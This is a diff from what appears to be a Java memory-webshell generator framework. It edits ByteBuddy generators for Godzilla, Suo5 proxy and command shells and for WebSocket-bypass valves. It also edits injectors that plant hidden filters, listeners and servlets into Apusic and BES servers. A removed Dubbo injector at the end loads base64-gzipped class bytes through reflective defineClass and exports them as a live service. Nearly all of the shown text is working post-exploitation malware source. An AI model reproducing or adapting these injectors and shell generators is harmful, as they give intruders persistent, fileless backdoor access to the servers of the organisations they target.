return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
} }
} }
} }
@@ -1,19 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -49,12 +49,6 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
if (helperClassBytes != null) {
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
}
if (shellConfig.needByPassJavaModule()) { if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder); builder = ByPassJavaModuleInterceptor.extend(builder);
} }
@@ -17,13 +17,13 @@ public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList( private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(), new ListenerBuilderModifier(),
new ValveBuilderModifier(), new ValveBuilderModifier(),
new JakartaBuilderModifier(),
new DebugOffBuilderModifier() new DebugOffBuilderModifier()
); );
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList( private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new JakartaPostProcessor(), new ShrinkPostProcessor(),
new JettyHandlerPostProcessor(), new JettyHandlerPostProcessor()
new ShrinkPostProcessor()
); );
private ProcessorRegistry() { private ProcessorRegistry() {
@@ -1,17 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ProxyConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
}
}
@@ -1,46 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
super(shellConfig, suo5Config);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
.redefine(Suo5v2.class)
.name(CommonUtil.generateClassName())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make()) {
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
}
}
}
@@ -1,54 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
}
if (Server.Tomcat.equals(shellConfig.getServer())) {
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
.redefine(TomcatWsBypassValve.class)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(helperClassName);
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
}
}
return null;
}
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
if (shellToolConfig instanceof CommandConfig) {
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof GodzillaConfig) {
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof ProxyConfig) {
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
}
return null;
}
}
@@ -1,16 +0,0 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class Base64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(param);
}
}
@@ -42,17 +42,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping() builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import org.apache.commons.io.IOUtils;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
return builder;
}
}
@@ -1,16 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
public class JakartaPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
return ClassRenameUtils.relocateJakarta(input);
}
return input;
}
}
@@ -17,7 +17,6 @@ import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.StubMethod;
import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -47,9 +46,12 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
TypeDescription typeDefinition, String newClassName) { TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods(); MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) { if (methods.filter(ElementMatchers.named("getResponseFromRequest")
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," + .and(ElementMatchers.takesArguments(Object.class))
" the method body will be auto adapted for multi server"); .and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
} else { } else {
builder = builder builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance( .visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -57,11 +59,13 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
} }
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) { if (methods.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class) .withParameters(Object.class, String.class)
.throwing(Exception.class) .throwing(Exception.class)
.intercept(StubMethod.INSTANCE) .intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
} }
return builder; return builder;
@@ -8,7 +8,6 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -44,7 +43,7 @@ public class ApusicFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -81,7 +80,7 @@ public class ApusicFilterInjector {
/** /**
* context: com.apusic.web.container.WebContainer * context: com.apusic.web.container.WebContainer
* context - webapp: com.apusic.deploy.runtime.WebModule * context -> webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar * /usr/local/ass/lib/apusic.jar
*/ */
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
@@ -146,12 +145,7 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance(); Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings"); invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel // addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -224,25 +218,30 @@ public class ApusicFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,9 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.*;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -42,7 +40,7 @@ public class ApusicListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -199,25 +197,30 @@ public class ApusicListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,9 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.*;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -42,7 +40,7 @@ public class ApusicServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -200,25 +198,30 @@ public class ApusicServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class BesFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -105,7 +105,7 @@ public class BesFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -218,25 +218,30 @@ public class BesFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -36,7 +36,7 @@ public class BesListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -35,7 +35,7 @@ public class BesValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -1,451 +0,0 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import com.alibaba.dubbo.common.URL;
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
import com.alibaba.dubbo.common.utils.ClassHelper;
import com.alibaba.dubbo.config.*;
import com.alibaba.dubbo.config.model.ApplicationModel;
import com.alibaba.dubbo.config.model.ProviderModel;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.GZIPInputStream;
public class AlibabaDubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public AlibabaDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + stackTrace(e);
}
ok = true;
System.out.println(msg);
}
public String registerService() throws Exception {
String servicePath = normalizePath(getUrlPattern());
if (servicePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
return resolveServiceAddresses(servicePath);
}
Class<?> serviceInterface = loadClass(getHelperBase64String());
Class<?> serviceImpl = loadClass(getBase64String());
validateServiceTypes(serviceInterface, serviceImpl);
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
return resolveServiceAddresses(servicePath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(servicePath);
} catch (RuntimeException e) {
dynamicServices.remove(servicePath, serviceConfig);
throw e;
}
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, classBytes);
return loadedClass;
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
// Defining the package is a convenience for older class loaders. The class can still load without it.
}
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
classPool.makeClass(new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
}
}
private static byte[] decodeBase64(String value) throws Exception {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
}
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
GZIPInputStream inputStream = null;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, read);
}
return outputStream.toByteArray();
} finally {
if (inputStream != null) {
inputStream.close();
}
outputStream.close();
}
}
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
if (!serviceInterface.isInterface()) {
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
}
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
}
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
}
}
private Object instantiate(Class<?> serviceImpl) {
try {
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
serviceConfig.setInterface(serviceInterface);
serviceConfig.setRef(serviceImpl);
serviceConfig.setPath(servicePath);
ProviderConfig providerConfig = findProviderConfig();
if (providerConfig != null) {
serviceConfig.setProvider(providerConfig);
if (notEmpty(providerConfig.getVersion())) {
serviceConfig.setVersion(providerConfig.getVersion());
}
}
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
if (!protocolConfigs.isEmpty()) {
serviceConfig.setProtocols(protocolConfigs);
}
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
if (!registryConfigs.isEmpty()) {
serviceConfig.setRegistries(registryConfigs);
}
return serviceConfig;
}
private ServiceConfig<?> findRegisteredService(String servicePath) {
String normalizedPath = normalizePath(servicePath);
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
return serviceConfig;
}
}
return null;
}
private ProviderConfig findProviderConfig() {
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
